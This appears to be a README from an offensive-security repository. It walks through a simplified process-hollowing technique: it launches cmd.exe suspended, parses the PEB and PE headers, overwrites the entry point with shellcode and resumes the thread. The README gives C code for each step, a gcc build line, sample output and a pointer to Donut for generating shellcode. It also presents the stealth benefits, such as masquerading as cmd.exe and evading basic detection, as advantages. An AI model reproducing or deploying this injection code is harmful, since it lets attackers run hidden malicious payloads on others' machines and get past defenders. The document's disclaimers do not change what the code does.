This folder demonstrates Process Hollowing—a sophisticated process injection technique that manipulates a suspended process's executable image in memory.
Important Disclaimer: This code is for educational purposes only on systems you own or have explicit authorization to test. Unauthorized injection is illegal.
Process Hollowing is an advanced injection technique that involves creating a legitimate process, removing its original executable code from memory, and replacing it with malicious code. The classic approach consists of:
- Create a process in a suspended state
- Unmap the original PE (Portable Executable) from memory
- Map a new PE in its place
- Resume execution
This implementation demonstrates a simplified version of process hollowing that achieves similar results with less complexity. Instead of fully unmapping and remapping the PE, we:
- Create Process (Suspended) – Spawn a legitimate process in suspended state
- Locate Entry Point – Read the PE structure to find the entry point address
- Overwrite Entry Point – Replace the entry point code with shellcode
- Resume Process – When resumed, execution begins at our shellcode instead of the original code
When the process resumes, its primary thread's instruction pointer directs execution to our shellcode rather than the legitimate executable's code section.
Finding the entry point requires navigating the PE structure in memory using undocumented Windows internals:
Step 1: Query Process Information
- Call
NtQueryInformationProcess(native API) to retrieve process information - Populate a
PROCESS_BASIC_INFORMATIONstructure - Extract
PebBaseAddress(pointer to Process Environment Block)
Step 2: Read ImageBaseAddress
- The PEB contains
ImageBaseAddress(undocumented member at offset 0x10 on 64-bit) - This points to where the PE is loaded in memory
Step 3: Parse PE Headers
- Read the DOS header from
ImageBaseAddress - Use
e_lfanewfield to locate the NT headers - Navigate to
OptionalHeader->AddressOfEntryPoint - This gives the RVA (Relative Virtual Address) of the entry point
Step 4: Calculate Entry Point
- Entry Point =
ImageBaseAddress+AddressOfEntryPoint(RVA)
The example demonstrates entry point overwriting on cmd.exe—suspending the process, locating its entry point through PE parsing, and replacing it with shellcode.
Flow:
Injector Process
│
├─ CreateProcessW(CREATE_SUSPENDED) → Spawn cmd.exe suspended
│
├─ NtQueryInformationProcess() → Get PEB address
│
├─ ReadProcessMemory(PEB + 0x10) → Get ImageBaseAddress
│
├─ ReadProcessMemory(ImageBaseAddress) → Read DOS header
│
├─ ReadProcessMemory(ImageBase + e_lfanew) → Read NT headers
│
├─ Calculate: EntryPoint = ImageBase + RVA
│
├─ WriteProcessMemory(EntryPoint) → Overwrite with shellcode
│
└─ ResumeThread() → Execute shellcode at entry point
│
└─ Suspended Process (cmd.exe)
│
├─ Thread resumes
│
├─ Instruction pointer → Entry point (now shellcode)
│
└─ Shellcode executes instead of original code
STARTUPINFOW si = { 0 };
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
PROCESS_INFORMATION pi = { 0 };
BOOL success = CreateProcessW(
L"C:\\Windows\\System32\\cmd.exe", // Target executable
NULL, // Command line arguments
NULL, // Process security attributes
NULL, // Thread security attributes
FALSE, // Don't inherit handles
CREATE_SUSPENDED, // Create in suspended state
NULL, // Environment variables
NULL, // Current directory
&si, // Startup info
&pi // Process information output
);Creates cmd.exe in a suspended state—before any of its code executes.
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG returnLength = 0;
NTSTATUS status = NtQueryInformationProcess(
pi.hProcess, // Handle to suspended process
ProcessBasicInformation, // Information class
&pbi, // Output buffer
sizeof(pbi), // Buffer size
&returnLength // Bytes written
);Queries the process to retrieve its PROCESS_BASIC_INFORMATION structure, which contains PebBaseAddress.
// PEB + 0x10 = ImageBaseAddress (64-bit offset)
LPVOID lpBaseAddress = (LPVOID)((DWORD64)(pbi.PebBaseAddress) + 0x10);
LPVOID remoteImageBase = 0;
SIZE_T bytesRead = 0;
BOOL readSuccess = ReadProcessMemory(
pi.hProcess, // Suspended process handle
lpBaseAddress, // PEB + 0x10 (ImageBaseAddress location)
&remoteImageBase, // Output: base address of PE
sizeof(LPVOID), // 8 bytes on 64-bit
&bytesRead
);Reads the ImageBaseAddress from the PEB—this is where the PE is loaded in memory.
IMAGE_DOS_HEADER dHeader = { 0 };
readSuccess = ReadProcessMemory(
pi.hProcess, // Suspended process
remoteImageBase, // PE base address
&dHeader, // Output: DOS header
sizeof(dHeader), // Size of DOS header
&bytesRead
);Reads the DOS header from the PE's base address. The e_lfanew field points to the NT headers.
LPVOID lpNtHeaders = (LPVOID)((DWORD64)remoteImageBase + dHeader.e_lfanew);
IMAGE_NT_HEADERS64 ntHeaders = { 0 };
readSuccess = ReadProcessMemory(
pi.hProcess, // Suspended process
lpNtHeaders, // DOS base + e_lfanew
&ntHeaders, // Output: NT headers
sizeof(ntHeaders), // Size of NT headers
&bytesRead
);Uses e_lfanew to locate and read the NT headers, which contain the OptionalHeader.
LPVOID lpEntryPoint = (LPVOID)(
(DWORD64)remoteImageBase +
ntHeaders.OptionalHeader.AddressOfEntryPoint
);Calculates the absolute entry point address:
remoteImageBase= where PE is loadedAddressOfEntryPoint= RVA of entry point- Entry point = Base + RVA
SIZE_T bytesWritten = 0;
BOOL writeSuccess = WriteProcessMemory(
pi.hProcess, // Suspended process
lpEntryPoint, // Entry point address
shellcode, // Shellcode to write
sizeof(shellcode), // Size of shellcode
&bytesWritten
);Overwrites the original entry point code with shellcode.
DWORD resumeResult = ResumeThread(pi.hThread);Resumes the suspended thread. Execution begins at the entry point, which now contains our shellcode.
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);Releases handles. The process continues executing with injected shellcode.
- Windows 10/11 (examples target modern Windows)
- Administrator privileges (usually required)
- 64-bit system (code uses 64-bit PE structures)
- Isolated test environment strongly recommended
- C/C++ Compiler: MSVC (Visual Studio) or MinGW-w64
- Native API Support: ntdll.lib (for
NtQueryInformationProcess) - Debugger: WinDbg, x64dbg, or Visual Studio Debugger (optional)
- Understanding of PE file format (DOS header, NT headers, OptionalHeader)
- Understanding of PEB (Process Environment Block) structure
- Understanding of RVA (Relative Virtual Address) calculation
- Understanding of native Windows APIs (
NtQueryInformationProcess) - Understanding of shellcode (position-independent machine code)
gcc -o "Process-Hollowing.exe" "Process-Hollowing.c" -lntdllImportant: The -lntdll flag is required to link against ntdll.dll for NtQueryInformationProcess.
.\Process-Hollowing.exeProcess created in suspended state. PID: 1234
PEB address retrieved: 0x000000000012000
Remote Image Base Address: 0x00007FF7A2B40000
DOS Header read successfully. e_lfanew: 0x100
NT Headers read successfully. EntryPoint: 0x14A0
Shellcode written successfully to entry point.
Process resumed. Shellcode is executing.
The cmd.exe process:
- Is created with original code suspended
- Has its entry point overwritten with shellcode
- Executes shellcode when resumed (before any cmd.exe code)
The shellcode array in the code must be filled with actual machine code bytes. Use Donut (documented in ../Shellcode/README.md) to generate shellcode and convert to hex format.
┌──────────────────────────────────────────────────────┐
│ Injector Process Starts │
└──────────────┬───────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ CreateProcessW(CREATE_SUSPENDED) │
│ ├─ Spawn cmd.exe in suspended state │
│ └─ Primary thread created but paused │
└──────────────┬───────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ NtQueryInformationProcess() │
│ ├─ Query ProcessBasicInformation │
│ ├─ Populate PROCESS_BASIC_INFORMATION │
│ └─ Extract PebBaseAddress: 0x000000000012000 │
└──────────────┬───────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ ReadProcessMemory(PEB + 0x10) │
│ ├─ Read ImageBaseAddress from PEB │
│ └─ ImageBase: 0x00007FF7A2B40000 │
└──────────────┬───────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ ReadProcessMemory(ImageBase) → DOS Header │
│ ├─ Read IMAGE_DOS_HEADER structure │
│ ├─ Signature: 'MZ' (0x5A4D) │
│ └─ e_lfanew: 0x100 (offset to NT headers) │
└──────────────┬───────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ ReadProcessMemory(ImageBase + e_lfanew) → NT Headers│
│ ├─ Read IMAGE_NT_HEADERS64 structure │
│ ├─ Signature: 'PE\0\0' (0x00004550) │
│ └─ OptionalHeader.AddressOfEntryPoint: 0x14A0 (RVA) │
└──────────────┬───────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ Calculate Entry Point Address │
│ ├─ EntryPoint = ImageBase + RVA │
│ └─ 0x00007FF7A2B40000 + 0x14A0 = 0x00007FF7A2B414A0 │
└──────────────┬───────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ WriteProcessMemory(EntryPoint) │
│ ├─ Overwrite original entry point code │
│ ├─ Write shellcode bytes │
│ └─ Entry point now contains shellcode │
└──────────────┬───────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ ResumeThread() │
│ ├─ Resume suspended primary thread │
│ └─ Thread wakes up at entry point │
└──────────────┬───────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ Shellcode Execution │
│ ├─ RIP points to entry point (shellcode) │
│ ├─ Execute injected payload │
│ └─ Original PE code never executes │
└──────────────┬───────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ Cleanup (Injector) │
│ ├─ CloseHandle(pi.hThread) │
│ └─ CloseHandle(pi.hProcess) │
└──────────────────────────────────────────────────────┘
✓ Legitimate process name – Appears as cmd.exe in Task Manager ✓ No new process – Hijacks legitimate system process ✓ Stealthy – Original executable replaced with malicious code ✓ Process privilege inheritance – Inherits target's security context ✓ Bypasses basic detection – Process appears legitimate to users
✗ Requires process creation – Must be able to spawn new processes
✗ Administrator privileges – Usually required for native API access
✗ 64-bit specific – Code uses 64-bit offsets and structures
✗ PE parsing complexity – Requires understanding of PE format
✗ EDR detection – Modern EDR monitors NtQueryInformationProcess and memory writes to entry points
✗ Architecture dependency – PEB offsets differ between 32-bit and 64-bit
| Aspect | Full Process Hollowing | Entry Point Overwriting |
|---|---|---|
| PE Unmapping | Yes (NtUnmapViewOfSection) | No |
| New PE Mapping | Yes (map entire PE) | No |
| Complexity | High | Moderate |
| Code Changes | Entire PE replaced | Only entry point |
| Detection Risk | Higher (unmapping visible) | Lower (smaller footprint) |
| Stability | May have issues | Generally stable |
This implementation uses entry point overwriting for simplicity and reduced detection surface.
Authorization Required:
- Only use on systems you own
- Never test on systems without explicit written permission
- Works in authorized penetration testing scenarios only
Responsible Disclosure:
- Report findings through proper channels
- Give organizations time to patch
- Follow your organization's security policies
Legal Implications:
- Unauthorized code injection is illegal (Computer Fraud and Abuse Act in US)
- Similar laws exist in other jurisdictions
- Violations can result in criminal charges
- CreateProcessW Documentation
- NtQueryInformationProcess Documentation
- PROCESS_BASIC_INFORMATION Structure
- PE Format Documentation
- IMAGE_DOS_HEADER Structure
- IMAGE_NT_HEADERS Structure
- WriteProcessMemory Documentation
- Windows Internals
This code and documentation are provided for educational purposes on authorized systems only. Unauthorized process injection is illegal and violates computer fraud laws. You are solely responsible for compliance with applicable laws and organizational policies.